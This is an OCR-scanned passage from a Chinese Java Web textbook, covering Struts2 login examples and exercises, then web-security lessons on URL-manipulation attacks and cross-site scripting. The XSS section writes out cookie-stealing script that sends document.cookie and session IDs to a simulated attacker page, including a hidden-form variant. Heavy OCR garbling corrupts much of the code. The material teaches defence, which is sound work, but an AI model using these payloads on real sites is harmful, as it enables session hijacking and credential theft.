return account; 

. 

public void setAccount(String account) { 
this. account = account; 

} 

private String password; 

public String getPassword() { 
return password; 

} 

public void setPassword(String password) { 
this. password = password; 

public String execute() throws Exception { 
if(account. equals(password)){ 

return "success"; 

} 


return "fail"; 


在 以 上 代码 中 ,框架 会 自动 调用 set 和 get 方法 将 表单 数据 封装 到 Action 中 。execute() 
函数 判断 账号 和 密码 是 否 相 符 , 返 回 字 符 串 “success” 或 者 "fail”, 读 者 可 以 看 出 ,此 处 的 两 个 
字符 串 没 有 任何 含义 。 因 此 ,用 户 应 该 配置 该 Action 以 及 虚拟 页 面 名称 对 应 的 实际 文件 
路 径 。 

在 配置 文件 中 进行 配置 ,这 一 步 在 Strutsl. x 和 Struts2. x 中 都 是 必需 的 ,只 是 
Strutsl.x 中 的 配置 文件 一 般 叫 struts-config. xml, 而 且 通 常 放 到 WEB-INF 目录 中 ; 
Struts2. x 中 的 配置 文件 一 般 叫 struts. xml, 通 常 放 到 “WEB-INF/classes” 目 录 中 ,在 编写 时 
放 在 项 目的 src 根 目录 下 .前 面 已 经 叙述 过 。 下 面 在 struts. xml 中 配置 Action 以 及 相关 虚 
拟 页 面 名称 , 代 码 如 struts. xml 所 示 。 


struts. xml 


<?xml version= "1.0" encoding = "UTF — 8" ?> 

<! DOCTYPE struts PUBLIC 
"— //Apache Software Foundation//DTD Struts Configuration 2.0//EN" 
"http://struts. apache. org/dtds/struts — 2.0.dtd"> 

<struts> 
<package name = "struts2" extends = "struts ~ default"> 
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< action name = "login" class = "pr]jl14.LoginRction"> 
< result name = "success">/loginSuccess. jsp </result> 
< result name = "fail">/loginFail. jsp</result> 
</action> 
</package> 
</struts> 


从 以 上 配置 可 以 看 出 ,在 < struts > 标签 中 可 以 有 多 个 < package>, 名 称 任意 ,但 不 要 
重 名 ; extends 属性 表示 继承 一 个 默认 的 配置 文件 “struts-default”, 一 般 都 继承 于 它 , 可 以 
不 用 修改 。< action > 标签 中 的 name 属性 表示 Action 被 提交 时 的 路 径 ,class 表示 动作 
类 名 。 

另外 ,通过 < result > 标签 可 以 确定 虚拟 名 称 和 实际 页 面 路 径 的 映射 。 例 如 : 


<result name = "success">/loginSuccess. jsp </result > 


表示 “/loginSuccess. jsp”, 对 应 的 虚拟 名 称 为 “success”, 当 Action 的 execute() 函 数 返 回 
“success” 时 程序 将 跳 转 到 “/loginSuccess. jsp”。 

由 于 < action > 标签 中 的 name 属性 表示 Action 被 提交 时 的 路 径 , 此 处 为 *login”, 所 以 ， 
在 login. jsp 中 表单 要 提交 到 的 路 径 就 可 以 确定 为 /Prjl4/login. action”, 这 是 WebWork 
的 风格 ,其 中 的 *. action” 是 默认 规定 的 。 因 此 ,login. jsp 可 以 改 成 如 下 内 容 。 


login. jsp 


<%@ page language = "java" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
<form action = "/Prjl4/login. action" method = "post"> 
请 您 输入 账号 : < input name = "account" type = "text"><br> 
请 您 输入 密码 : < input name = "password" type = "password"> 
< input type = "submit" value = "登录 "> 
</form> 
</body> 
</html > 


14.4.5 测试 


在 对 项 目 进 行 部 署 之 后 就 可 以 测试 了 ,访问 login. jsp, 输 入 正确 的 账号 和 密码 (相符 )， 
如 图 14-7 所 示 。 
登录 成 功效 果 如 图 14-8 所 示 。 
如 果 输 入 错误 的 账号 或 密码 , 则 登录 失败 ,显示 的 效果 如 图 14-9 所 示 。 
请 您 输入 账号 ，butterfly 
请 您 输入 密码 ，| eeeeeee 登录 成 功 登录 失败 
图 14-7 登录 界面 图 14-8 登录 成 功 界面 图 14-9 登录 失败 界面 
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14.5 其 他 问题 


14.5.1 程序 运行 流程 

该 案例 中 程序 运行 的 流程 如 下 。 

(1) login. jsp 中 的 表单 提交 到 的 地 址 为 */Prj14/login. action”, 被 org. apache. struts2. 
dispatcher. FilterDispatcher 截获 ,框架 把 提交 的 地 址 的 扩展 名 “. action” 去 掉 , 变 为 “"/login”, 读 
取 配 置 文件 。 

(2) 在 配置 文件 中 ,根据 /login” 找 到 配置 文件 中 的 Action 对 应 的 类 ,从 而 得 到 要 提交 
到 的 LoginAction; 在 LoginAction 中 ,将 account 和 password 封装 进去 。 

(3) 框架 调用 Action 的 execute0 函 数 ,处 理 后 返回 一 个 字符 串 。 

(4) 框架 根据 字符 串 内 容 在 配置 文件 中 找到 相应 的 页 面 并 跳 转 。 


14.5.2 Action 生命 周期 


接 下 来 分 析 该 案例 中 LoginAction 的 生命 周期 。 
在 LoginAction 中 添加 一 个 构造 函数 ,代码 如 下 。 


public LoginAction( ){ 
System. out. println("LoginAction 构造 函数 "); 
} 


在 LoginAction 的 setAccount() 函 数 和 getAccount() 函 数 中 各 添加 一 句 代码 。 


public void setAccount(String account) { 
System. out. println("LoginAction setAccount"); 
this. account = account; 

} 

public String getAccount() { 
System. out. println("LoginAction getAccount"); 
return account; 


在 execute0 函 数 中 也 添加 一 句 代 码 。 


public String execute( ) throws Exception { 
System. out. println("LoginAction execute" ) ; 
if(account. equals(password) ){ 
return "success"; 
} 


return "fail"; 
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再 重新 部 署 项 目 ,重新 启动 服务 器 ,运行 login. jsp ,提交 ,控制 台 显示 如 图 14-10 所 示 。 
这 说 明 框 架 先 实例 化 LoginAction 对 象 ,然后 调用 LoginAction 的 setAccount() 函 数 封 
装 表单 数据 ,再 调用 execute0 函 数 进行 处 理 。 
接 下 来 打开 login. jsp, 重 复 登 录 过 程 ,控制 台 上 的 显示 如 图 14-11 所 示 。 
LoginAction 构 造 国 数 


LoginAction setAccount 
LoginAction execute 


Loginaction 构 造 函数 Ioginaction 构 造 国 数 
LoginAction setAccount LoginAction setAccount 
LoginAction execute LoginAction execute 

图 14-10 ”控制 台 输出 1 图 14-11 控制 台 输 出 2 


可 以 看 到 ,在 第 2 次 提交 时 LoginAction 会 重新 实例 化 ,说 明 每 一 个 LoginAction 对 象 
都 服务 一 个 请 求 ,这 和 Servlet 的 原理 是 不 一 样 的 。 
14.5.3 在 Action 中 访问 Web 对 象 

从 以 上 代码 可 以 看 出 ,Struts2 中 的 Action 只 是 一 个 简单 的 类 ,有 很 好 的 可 测试 性 。 在 
这 个 案例 中 会 有 一 个 问题 : 如 何在 Action 中 访问 Web 对 象 ,例如 request\response session 。 

如 果 要 获得 上 述 对 象 , 可 以 在 Struts2 中 使 用 org. apache. struts2. ServletActionContext、 


com. opensymphony. xwork2. ActionContext 类 。 


获得 request 对 象 的 方法 如 下 。 


public String execute( ) throws Exception { 
HttpServletRequest request = ServletActionContext. getRequest( ); 
// 使 用 request 

由 


获得 response 对 象 的 方法 如 下 。 


public String execute( ) throws Exception { 
HttpServletResponse response = ServletActionContext. getResponse( ); 
// 使 用 response 

} 


获得 application 对 象 的 方法 如 下 。 


public String execute( ) throws Exception { 
ServletContext application = ServletActionContext. getServletContext(); 
// 使 用 application 


获得 session 对 象 的 方法 如 下 。 


public String execute( ) throws Exception { 
Map session = ActionContext. getContext( ). getSession( ); 
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// 使 用 session 
} 


可 以 发 现 这 里 的 session 是 一 个 Map 对 象 。 在 Struts2 中 底层 的 session 都 被 封装 成 了 
Map 类 型 ,用 户 可 以 直接 操作 这 个 Map 进行 对 session 的 写 入 和 读 取 操作 ,而 不 用 去 直接 操 
作 HttpSession 对 象 。 


14.6 本 章 小 结 
本 章 首先 讲解 了 MVC 思想 ,并 与 传统 方法 进行 比较 ,阐述 该 思想 给 软件 开发 带 来 的 巨 
大 好 处 ; 然后 讲解 了 基于 MVC 思想 的 Struts2 框架 ,并 举例 说 明 Struts2 框架 下 用 例 的 开 
发 方法 。 


14.7 课 后 习题 


一 、 填空 题 
1. 在 MVC 模式 中 ,一 个 应 用 被 划分 成 了 3 个 部 分 。 
2. Struts2 框架 由 和 框架 发 展 而 来 。 
3. 构建 Struts2 应 用 的 最 基础 的 5 个 类 库 是 s s 、 
4. 在 Struts2 中 ,常用 的 组 件 有 
5. 在 Struts2 中 ,Action 和 ActionFrom 合 二 为 一 ,其 中 Action 负责 
6. 在 Action 中 ,execute0 函 数 返回 一 个 字符 串 ,表示 的 是 和 
7. 在 Struts2 中 ,配置 文件 的 < action > 标签 中 的 name 属性 表示 
8. 在 Struts2 中 ,底层 的 session 被 封装 成 了 类 型 。 
二 、 选 择 题 
1. MVC 不 是 一 种 ( Ws 
A. 编程 语言 B. 开发 架构 
C. 开发 观念 D. 程序 设计 模式 
2. 在 MVC 中 ,适合 model 这 个 角色 的 是 (  )。 
A. HTML B. JSP C. JavaBean D. Java Servlet 
3. Struts2 控制 器 需要 在 ( ) 配 置 文件 中 进行 配置 。 
A. web. xml B. struts. xml C. struts2. xml D. web2. xml 


4. 以 下 属于 Struts2 控制 器 组 件 的 是 (。”)。 
A. dispatchAction B. ActionForm C. ActionServlet DD. Action 
5. 下 列 关 于 Strutsl 和 Struts2 的 说 法 正确 的 是 ( We 
A. Strutsl 要 求 Action 类 继承 其 框架 中 的 Action 父 类 ,Struts2 则 不 一 定 需要 继承 
B.Strutsl 的 Action 不 是 线程 安全 的 ,Struts2 的 Action 是 线程 安全 的 
C. Strutsl 和 Struts2 都 使 用 ActionForm 对 象 封装 用 户 的 请 求 数据 


236 
= Java Web 程序 设计 (第 3 版 )- 微 课 视 频 版 


D. Strutsl 使 用 OGNL 表达 式 语言 来 支持 页 面 效 果 .Struts2 通过 ValueStack 技术 
使 标签 库 访问 值 
6. 下 列 关于 Struts2 包 的 说 法 不 正确 的 是 ( )。 
A. 在 Struts2 框架 中 使 用 包 来 管理 Action 
B. 在 Struts2 框架 定义 包 时 必须 指定 name 属性 
C. 在 Struts2 框架 中 配置 包 时 必须 继承 自 struts-default 包 ,否则 会 报错 
D. 在 Struts2 框架 使 用 包 来 管理 常量 
7. 在 配置 文件 struts. xml 中 ,确定 虚拟 名 称 和 实际 页 面 路 径 映 射 的 标签 是 ( 


A. <constant > B. < action > 

C. < interceptors > D. < result > 
8. Struts2 中 的 ActionServlet 属于 MVC 模式 ( 加 

A. 视图 B. 模型 C. 控制 器 D. 业务 层 
三 、 上 机 习题 


创建 表格 T_STUDENT, 其 包含 STUNO、STUNAME 、STUSEX 几 个 列 , 插 入 一 些 
记 荣 。 

1. 编写 学 生 资料 模糊 查询 界面 ,输入 学 生 姓 名 的 模糊 资料 ,在 另外 一 个 界面 中 显示 所 
有 男 同学 ( 女 同 学 ) 的 信息 。 要 求 使 用 Struts2 框架 来 实现 。 

2. 在 上 题 中 学 生 信息 的 后 面 增加 一 个 “删除 学 生 信息 ”链接 , 单 击 , 可 以 将 学 生 信息 从 
数据 库 中 删除 ,删除 后 跳 转 到 模糊 查询 界面 。 要 求 使 用 Struts2 框架 完成 。 


Web 网 站 安全 


本 章 选 学 ,建议 学 时 : 2 

Web 是 B/S 模式 的 一 种 实现 方式 ,由 于 Web 编程 的 方法 和 传统 C/S 程序 的 不 相同 ， 
Web 编程 中 的 安全 问题 具有 其 特殊 性 。 本 章 将 学 习 Web 编程 中 的 一 些 安全 问题 ,包括 
URL 操作 攻击 \ 跨 站 脚本 、SQL 注入 和 Web 网 站 中 的 密码 安全 。 


15.1 URL 操作 攻击 


15.1.1 URL 操作 攻击 介绍 


URL 操作 攻击 的 原理 一 般 是 通过 URL 来 猜测 某 些 资源 的 存放 地 址 ,从 而 非法 访问 受 
保护 的 资源 。 

以 一 个 鲜花 订购 系统 为 例 , 用 户 登 录 之 后 可 以 查看 自己 曾经 提交 过 的 订单 。 

ee 15-1 所 示 。 


在 一 个 订单 中 可 能 含有 多 个 货物 ,因此 系统 中 还 有 一 个 订单 明细 表 , 结 构 如 表 15-2 
所 示 。 
表 15-1 T_ORDER 结构 表 15-2 T_ORDERITEM 结构 

列 名 意义 列 名 加 区 
ORDERNO 订单 号 FLOWERNO 鲜花 编号 
ORDERDATE 订单 时 间 WDA 鲜花 省 称 

FLOWERPRICE 鲜花 单价 

AGSOUNT. 客户 账号 FLOWERCOUNT 鲜花 数量 
MAILADDRESS 邮寄 地 址 ORDERNO 所 在 订单 号 


系统 流程 如 下 。 欢迎 登录 鲜花 订购 系统 
(1) 首先 呈现 给 用 户 的 是 登录 页 面 ,在 该 页 面 中 
i 如 图 15-1 所 示 请 您 输入 账号 ， guokehua 
显示 表单 ,如 不 。 请 您 输入 密码 。 seeeeeeee 
该 表单 将 用 户 的 账号 和 密码 提交 给 一 个 控制 a 
器 ,控制 器 访问 数据 库 , 如 果 通 过 验证 , 则 将 用 户 信 
息 存 放 在 session 内 , 跳 到 欢迎 页 面 。 
(2) 登录 成 功 后 ,用 户 会 看 到 如 图 15-2 所 示 的 欢迎 界面 。 
在 该 页 面 中 ,首先 从 session 中 获取 登录 用 户 名 ,然后 查询 T_ORDER 表 . 得 到 所 有 订 
单 信息 ,在 列表 中 显示 了 该 用 户 的 历史 订单 ,后面 的 链接 负责 将 该 订单 中 的 订单 号 传 给 
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display. jsp。 

(3) 用 户 单 击 表 中 第 1 行 的 “查看 明细 ”链接 ,将 到 达 页 面 display. jsp, 同 时 告诉 
display. jsp 要 查询 的 订单 号 ,然后 根据 订单 号 在 T_ORDERITEM 表 中 查询 。 因 此 ,完整 的 
URL 应 为 “http://IP: 端 口 /目录 /display. jsp? orderno =10034562”, 显示 效果 如 图 15-3 
所 示 。 


欢迎 guokehua 来 到 鲜花 订购 系统 ee 

以 下 是 您 的 历史 订单 ， zh = 

订单 号 ” 采 单 时 间 ”| 邮寄 地 址 查看 明细 鲜 论 编号 鲜花 名 称 鲜花 单价 鲜花 数量 
10034562 |2009-09-23 | 北京 市 南 池子 大 生 七 看 明细 [oool ” 乒 现 

[10054323 [2009-10-25 | 南京 市 中 央 门 外 车 看 明 组 [0002 后 合 


图 15-2 欢迎 界面 图 15-3 display. jsp 界面 


该 页 面 主要 是 根据 传 过 来 的 值 查询 T_ORDERITEM 表 , 将 信息 显示 。 从 表面 上 看 该 
程序 没有 任何 问题 。 

注意 : 在 前 面 的 步骤 中 , 单 击 订 单 10034562 右边 的 “查看 明细 ”链接 ,该 订单 从 数据 库 
获取 数据 的 URL 如 下 。 


http://IP: 端 口 /目录 /display. jsp?orderno = 10034562 


因为 第 一 个 订单 的 编号 为 10034562, 所 以 从 客户 端 源 代码 上 讲 , 第 一 个 订单 右边 的 “ 查 
看 明细 ”链接 看 起 来 是 这 样 的 : 


<a href = "http://IP: 端 口 /目录 /display. jsp?orderno = 10034562"> 查 看 明细 </a> 


该 URL 非常 直观 ,可 以 从 中 看 到 是 获取 订单 号 为 10034562 的 数据 ,因此 给 了 攻击 者 
机 会 。 攻 击 者 可 以 很 容易 地 尝试 将 如 下 URL 输入 到 地 址 栏 中 : 


http://IP: 端 口 /目录 /display. jsp?orderno = 10034563 


这 表示 命令 数据 库 查 询 订单 号 为 10034563 的 明细 信息 ,当然 , 刚 开 始 的 尝试 或 许 得 不 
到 结果 (该 订单 号 可 能 不 存在 ) ,但 是 经 过 足够 次 数 的 尝试 总 可 以 给 攻击 者 得 到 结果 的 机 会 。 
例如 输入 : 


http://IP: 端 口 /目录 /display. jsp?orderno = 10034585 


得 到 的 内 容 如 图 15-4 所 示 。 

因为 该 订单 明细 在 数据 库 表 T_ORDERITEM 中 存在 ,这 里 造成 了 一 个 不 安全 的 现象 
用 户 可 以 查询 不 是 他 购买 的 鲜花 订单 信息 。 i 

除 此 之 外 还 有 更 加 严重 的 情况 ,如 果 网 站 很 不 安全 ， 一 一 一 
攻击 者 可 以 不 用 登录 ,直接 输入 上 面 格式 的 URL( 例 如 00s 人 
“http://IP: 端 口 /目录 /display. jsp?orderno=10034585”) , 
将 信息 显示 出 来 。 这 样 , 上 面 的 Web 程序 导致 该 鲜花 订 图 15-4 10034585 明细 界面 
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购 系统 网 站 为 URL 操作 攻击 敞开 了 大 门 。 


15.1.2 解决 方法 


如 果 要 解决 以 上 URL 操作 攻击 ,需要 程序 员 进 行 非常 周全 的 考虑 。 程 序 员 在 编写 
Web 应 用 的 时 候 可 以 从 以 下 方面 加 以 注意 。 

(1) 为 了 避免 非 登 录用 户 进行 访问 ,对 于 每 一 个 只 有 登录 成 功 才 能 访问 的 页 面 而 言 ， 
该 进行 session 检查 (session 检查 的 内 容 已 经 在 前 面 章 节 提 到 ) 。 

(2) 为 限制 用 户 访问 未 被 授权 的 资源 ,可 在 查询 时 将 登录 用 户 的 用 户 名 也 考虑 进去 。 
例如 用 户 名 为 “guokehua”,“guokehua” 的 每 一 个 订单 后 面 的 “查看 明细 ”链接 可 以 设计 为 
如 下 。 


局 


<a href = "http://IP: 端 口 /目录 /display. jsp?orderno = 10034563&account = guokehua"> 
查看 明细 


</a> 


这 样 , 该 订单 从 数据 库 获 取 数 据 的 URL 为 : 


http://IP: 端 口 /目录 /display. jsp?orderno = 10034563&account = guokehua 


在 向 数据 库 查询 时 可 以 首先 检查 “guokehua” 是 否 处 于 登录 状态 ,然后 根据 订单 号 
(10034563) 和 用 户 名 (guokehua) 进 行 综合 查询 。 这 样 , 攻 击 者 单独 输入 订单 号 ,或 者 输入 
订单 号 和 未 登录 的 用 户 名 ,都 无 法 显示 结果 。 


15.2 Web 跨 站 脚本 攻击 


15.2.1 跨 站 脚本 攻击 的 原理 


跨 站 脚本 在 英文 中 称 为 Cross-Site Scripting, 缩 写 为 CSS。 但 是 , 层 秋 样 式 表 (Cascading 
Style Sheets) 的 缩写 也 为 CSS, 为 了 不 与 其 混淆 ,将 跨 站 脚本 缩写 为 XSS。 

跨 站 脚本 ,顾名思义 就 是 恶意 攻击 者 利用 网 站 漏洞 往 Web 页 面 里 插入 恶意 代码 。 跨 站 
脚本 攻击 一 般 需要 以 下 几 个 条 件 。 

(1) 客户 端 访 问 的 网 站 是 一 个 有 漏洞 的 网 站 ,但 是 客户 没有 意识 到 。 

(2) 攻击 者 在 这 个 网 站 中 通过 一 些 手 段 放 和 一段 可 以 执行 的 代码 吸引 客户 执行 (例如 
通过 鼠标 单 击 等 ) 。 

(3) 客户 单 击 后 代码 执行 ,可 以 达到 攻击 目的 。 

XSS 属于 被 动 式 的 攻击 。 这 里 仍 以 鲜花 订购 系统 为 例 .在 该 系统 中 有 一 个 功能 负责 进 
行 鲜花 查询 ,代码 如 query. jsp 所 示 。 


query. jsp 


<$ @ page language = "java" import = "java.util. * " pageEncoding = "gb2312" %> 
<html > 
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<body> 

欢迎 查询 鲜花 < hr> 

< form action = "queryResult. jsp" method = "post"> 
请 您 输入 鲜花 的 信息 : < br> 
< input name = "flower" type = "text" size= "50"> 
< input type = "submit" value = "查询 "> 

</form> 

</body> 

</html> 


运行 ,效果 如 图 15-5 所 示 。 
欢迎 查询 鲜花 


请 您 输入 鲜花 的 信息 ， _ 
Rose 


15-5 鲜花 查询 界面 
在 文本 框 内 输入 查询 信息 ,提交 ,能够 到 达 queryResult. jsp ,代码 如 下 。 


queryResult. jsp 


<% 四 page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 

<body> 

您 查询 的 关键 字 是 : <% = request. getParameter("flower") %> 

<hr> 


</body> 
</html > 


运行 query. jsp ,输入 正常 数据 ,例如 “Rose”, 提 交 , 显 示 的 结果 如 图 15-6 所 示 。 
从 表面 上 看 结果 没有 问题 ,但 是 该 程序 有 漏洞 。 例 如 ,客户 输入 "< I><FONT SIZE=7> 
Rose </FONT></1>”, 如 图 15-7 所 示 。 


人 请 您 输入 鲜花 的 信息 ， 
查询 结果 为 ，. ..... <I><FONT SIZE=7>Rose</FONT> /I> [ 匡 语 ] 
图 15-6 鲜花 查询 结果 图 15-7 客户 输入 脚本 


查询 显示 的 结果 如 图 15-8 所 示 。 
该 问题 是 网 站 对 输入 的 内 容 没 有 进行 任何 标记 检查 造成 的 。 打 开 queryResult. jsp 客 
户 端 源 代码 , 源 代码 显示 如 图 15-9 所 示 。 


<html> 


<body> 
您 查询 的 关键 字 是 : <I><FONT SIZE=7>Rose</FONT></I> 


您 查询 的 关键 字 是 ， fose 


图 15-8 查询 结果 图 15-9 queryResult. jsp 客户 端 源 代码 
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以 上 只 是 说 明了 该 表单 提交 没有 对 标记 进行 检查 ,还 没有 起 到 攻击 的 作用 。 为 了 进行 
攻击 ,可 以 输入 脚本 ,如 图 15-10 所 示 。 


请 您 输入 鲜花 的 信息 : 
《script>alert ("Rose”) /script> 查询 


15-10 输入 脚本 


提交 ,结果 如 图 15-11 所 示 。 
这 说 明 脚本 也 可 以 执行 ,打开 queryResult. jsp 客户 端 源 代码 ,如 图 15-12 所 示 。 


您 查询 的 关键 字 是 : 


<html> 
<body> 
您 查询 的 关键 字 是 : <script>alert ("Rose")</script> 


15-11 输入 脚本 的 结果 15-12 ”queryResult. jsp 客户 端 源 代码 


于 是 ,程序 可 以 让 攻击 者 利用 脚本 进行 一 些 隐秘 信息 的 获取 。 例 如 ,输入 以 下 查询 关键 
字 , 如 图 15-13 所 示 。 


请 您 输入 鲜花 的 信息 ; 


《script>alert (document. cookie)</script> 
15-13 输入 新 的 关键 字 
提交 ,得 到 结果 ,如 图 15-14 所 示 。 


您 查询 的 关键 字 是 ， 


A JSESSIONID=EED6812269A5D5503153FAEFD63F2D43 


15-14 攻击 结果 


在 消息 框 中 ,将 当前 登录 的 sessionld 显示 出 来 。 显 然 , 该 sessionld 如 果 被 攻击 者 知 
道 , 就 可 以 访问 服务 器 端的 该 用 户 session 获取 一 些 信 息 。 

在 实际 项 目 中 ,攻击 过 程 稍微 复杂 一 些 。 如 前 所 述 , 攻 击 者 为 了 得 到 客户 的 隐秘 信息 ， 
一 般 会 在 网 站 中 通过 一 些 手 段 放 入 一 段 可 以 执行 的 代码 吸引 客户 执行 (通过 鼠标 单 击 等 )， 
客户 单 击 后 代码 执行 ,可 以 达到 攻击 目的 。 例 如 ,如 果 鲜 花 订 购 系统 有 站 内 BBS 的 功能 , 攻 
击 者 可 以 给 客户 发 送 一 个 站 内 信息 吸引 客户 单 击 某 个 链接 。 

以 下 程序 模拟 了 一 个 通过 站 内 单 击 链接 的 攻击 过 程 。 攻 击 者 给 客户 发 送 一 个 站 内 信 
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息 , 通 过 某 个 利益 的 诱惑 鼓动 用 户 尽快 访问 某 个 网 站 ,并 在 该 信息 中 给 一 个 地 址 链接 ,这 个 
链接 的 URL 中 含有 脚本 ,客户 在 单 击 的 过 程 中 执行 这 段 代 码 。 

在 此 模拟 一 个 BBS 系统 ,首先 是 用 户 登录 页 面 , 当 用 户 登 录 成 功 后 ,为 了 以 后 操作 方 
便 ,该 网 站 采用 了 “ 记 住 登录 状态 ”的 功能 ,将 自己 的 账号 和 密码 放 入 cookie, 并 保存 在 客户 
端 ,代码 如 login. jsp 所 示 。 


login. jsp 


<%@ page language = "java" import = "java.util. *" pageEncoding = "gb2312" %> 
<html> 
<body> 
欢迎 登录 鲜花 订购 系统 BBS 
<form action = "login. jsp" method= "post"> 
请 您 输入 账号 : 
< input name = "account" type = "text"> 
<br> 
请 您 输入 密码 : 
< input name = "password" type = "password"> 
<br> 
< input type = "submit” value = "登录 "> 
</form> 
<S% 
// 获 取 账 号 和 密码 
String account = request. getParameter("account"); 
String password = request. getParameter( "password" ); 
if(account!= null){ 
// 验 证 账号 和 密码 ,如 果 账 号 和 密码 相符 , 则 表示 登录 成 功 
if(account. equals(password) ){ 
// 放 入 session, 跳 转 到 下 一 个 页 面 
session. setAttribute("account",account); 
response. addCookie( new Cookie( "account",account)); 
response. addCookie( new Cookie("password", password) ); 
response. sendRedirect("loginResult. jsp"); 
} elsef 
out. println(" 登 录 不 成 功 "); 
} 


} 
先 > 
</body> 
</html > 
运行 ,得 到 的 界面 如 图 15-15 所 示 。 欢迎 登录 鲜花 订购 系统 BBS 
输入 正确 的 账号 和 密码 (例如 guokehua、guokehua)， 
i 、， 请 您 输入 账号 ， 
如 果 登 录 成 功 . 程 序 跳 到 loginResult. jsp, 并 在 页 面 底部 请 您 输入 密码 ， 
有 一 个 “查看 信息 ”链接 (当然 可 能 还 有 其 他 功能 ,在 此 省 
略 )。 其 代码 如 下 。 图 15-15 鲜花 订购 系统 登录 页 面 
loginResult. jsp 


<%@ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
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<body> 

< //session 检查 
String account = (String)session. getAttribute("account"); 
if(account == null){ 

response. sendRedirect("login. jsp"); 

了 

> 

欢迎 <%= account %> 来 到 BBS! 

<hr> 

<a href = "mailList. jsp"> 查 看 信息 </a> 

</body> 

</html > 


运行 效果 如 图 15-16 所 示 。 欢迎 guokehua 来 到 BBS! 
为 了 模拟 攻击 , 单 击 “ 查 看 信息 ”链接 ,攻击 者 在 里 面 放置 查看 信息 
一 封 “ 邮 件 ”( 该 邮件 的 内 容 由 攻击 者 撰写 ) ,代码 如 mailList. a 
让 记忆 未 图 15-16 运行 效果 


mailList. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html > 


//session 检查 ,代码 略 
%> 
<! -- 以 下 是 攻击 者 发 送 的 一 个 邮件 -一 > 
这 里 有 一 封 新 邮件 ,您 中 奖 了 ,您 有 兴趣 的 话 可 以 单 击 : <br> 
< script type = "text/javascript"> 
function send(){ 
Var cookie = document. cookie; 
window. location. href = "http://localhost/attackPage. asp?cookies = ”+ cookie; 
} 
</script > 
<a onClick = "send( )"><u> 领 奖 </u></a> 
</body> 
</html > 


其 效果 如 图 15-17 所 示 。 
i 您 中 奖 了 ， 您 有 兴趣 的 话 可 以 单 击 ， 


15-17 ”攻击 界面 效果 


在 攻击 的 过 程 中 ,这 里 的 “ 领 奖 ” 链 接 链 接 到 另 一 个 网 站 ,该 网 站 一 般 是 攻击 者 自行 建立 
的 。 为 了 保证 真实 性 ,可 以 模拟 在 IIS 下 用 ASP 写 一 个 网 页 ,因为 攻击 者 页 面 和 被 攻击 者 
页 面 一 般 不 在 一 个 网 站 内 ,其 URL 如 下 。 


http://localhost/attackPage. asp 
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从 上 面 的 代码 可 以 看 出 ,如 果 用 户 单 击 链接 ,脚本 中 的 send0 函 数 会 运行 ,并 将 内 容 发 
送 给 “http://localhost/attackPage. asp”。 假 设 “http://localhost/attackPage. asp” 的 源 代 
码 如 下 。 


http://localhost/attackPage. asp 


<% @ Language = "VBScript" %> 
<html> 

<body> 

这 是 模拟 的 攻击 网 站 < br > 
刚才 从 用 户 处 得 到 的 cookie 值 为 : <br> 
<%= Request("cookies") 和 > 

</body> 

</html > 


注意 : attackPage. asp 要 在 JIS 中 运行 ,和 前 面 的 例子 运行 的 不 是 一 个 服务 器 。 
如 果 用 户 单 击 了 “ 领 奖 " 链 接 ,attackPage. jsp 上 显示 如 图 15-18 所 示 的 效果 。 
这 是 模拟 的 攻击 网 站 
并 六 和 让 加 鬼 cooic 什 为 


account=guokehua; password=guokehua' 
JSESSIONID=E35C0481E25813165AEA65A180C517E9 


图 15-18 attackPage.jsp 显示 效果 


这 样 cookie 中 的 所 有 值 都 被 攻击 者 知道 了 ,特别 是 sessionId 的 泄露 ,说 明 攻击 者 还 具 
有 访问 session 的 可 能 。 

此 时 ,客户 浏览 器 的 地 址 栏 上 的 URL 变 为 (读者 运行 时 具体 内 容 可 能 不 一 样 ,但 是 基 
本 效果 相同 ) 如 下 。 


http://localhost/attackPage. asp?cookies = account = guokehua; % 20password = guokehua; % 
20JSESSIONID = 135766E8D33B380E426126474E28D9A9; % 20ASPSESSIONIDQQCADQDT = KFELIGFCPPGPH| 
LFEDCKIPKDF 


从 这 个 含有 恶意 的 脚本 的 URL 中 比较 容易 地 发 现 受到 了 攻击 ,因为 URL 后 面 的 查询 
字符 串 一 眼 就 能 看 出 来 。 聪 明 的 攻击 者 还 可 以 将 脚本 用 隐藏 表单 隐藏 起 来 ,将 mailList. jsp 
的 代码 改 为 如 下 内 容 。 


mailList. jsp 
<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
//session 检查 ,代码 略 
先 > 


<! 一 以 下 是 攻击 者 发 送 的 一 个 邮件 -一 > 
这 里 有 一 封 新 邮件 ,您 中 奖 了 ,请 您 填写 您 的 姓名 并 且 提 交 : <br > 
< script type = "text/javascript"> 
function send(){ 
Var cookie = document. cookie; 
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document. form]. cookies. value = cookie; 
document. forml. submit( ); 
} 
</script > 
< form name = "forml" action = "http://localhost/attackPage. asp" method = "post"> 
输入 姓名 :< input name = ""> 
< input type = "hidden" name = "cookies"> 
< input type = "button" value = "提交 姓名 " onClick = "send()"> 
</form> 
</body> 
</html > 


该 处 将 脚本 用 隐藏 表单 隐藏 起 来 ,输入 姓名 的 文本 框 只 是 一 个 伪装 ,效果 如 图 15-19 
所 示 。 


这 里 有 一 封 新 邮件 ， 您 中 奖 了 ， 请 您 填写 您 的 姓名 并 且 提 交 ， 
输入 姓名 : 提交 姓名 
图 15-19 用 隐藏 表单 建立 攻击 页 面 


attackPage. asp 不 变 , 不 管用 户 输入 什么 姓名 ,到 达 attackPage. asp 都 会 显示 如 图 15-20 所 
示 的 效果 ,这 样 也 可 以 达到 攻击 目的 。 此 时 ,浏览 器 地 址 栏 中 的 显示 如 图 15-21 所 示 。 


这 是 模拟 的 攻击 网 站 
刚才 从 用 户 处 得 到 的 cookie 值 为 ， 


account=guokehua; password=guokehua 


JSESSIONID=E35C0481E25813165AEA65A180C517E9 httpy/localhost/atiackPage.asp 
图 15-20 attackPage. asp 显示 效果 图 15-21 浏览 器 地 址 栏 中 的 显示 
用 户 不 知 不 觉 受 到 了 攻击 。 


在 实际 攻击 的 过 程 中 ,cookie 的 值 可 以 被 攻击 者 保存 到 数据 库 或 者 通过 其 他 手段 得 知 ， 
也 就 是 说 ,cookie 的 值 不 可 能 直接 在 攻击 页 面 上 显示 ,否则 很 容易 被 用 户 发 现 ,这 里 只 是 模拟 。 


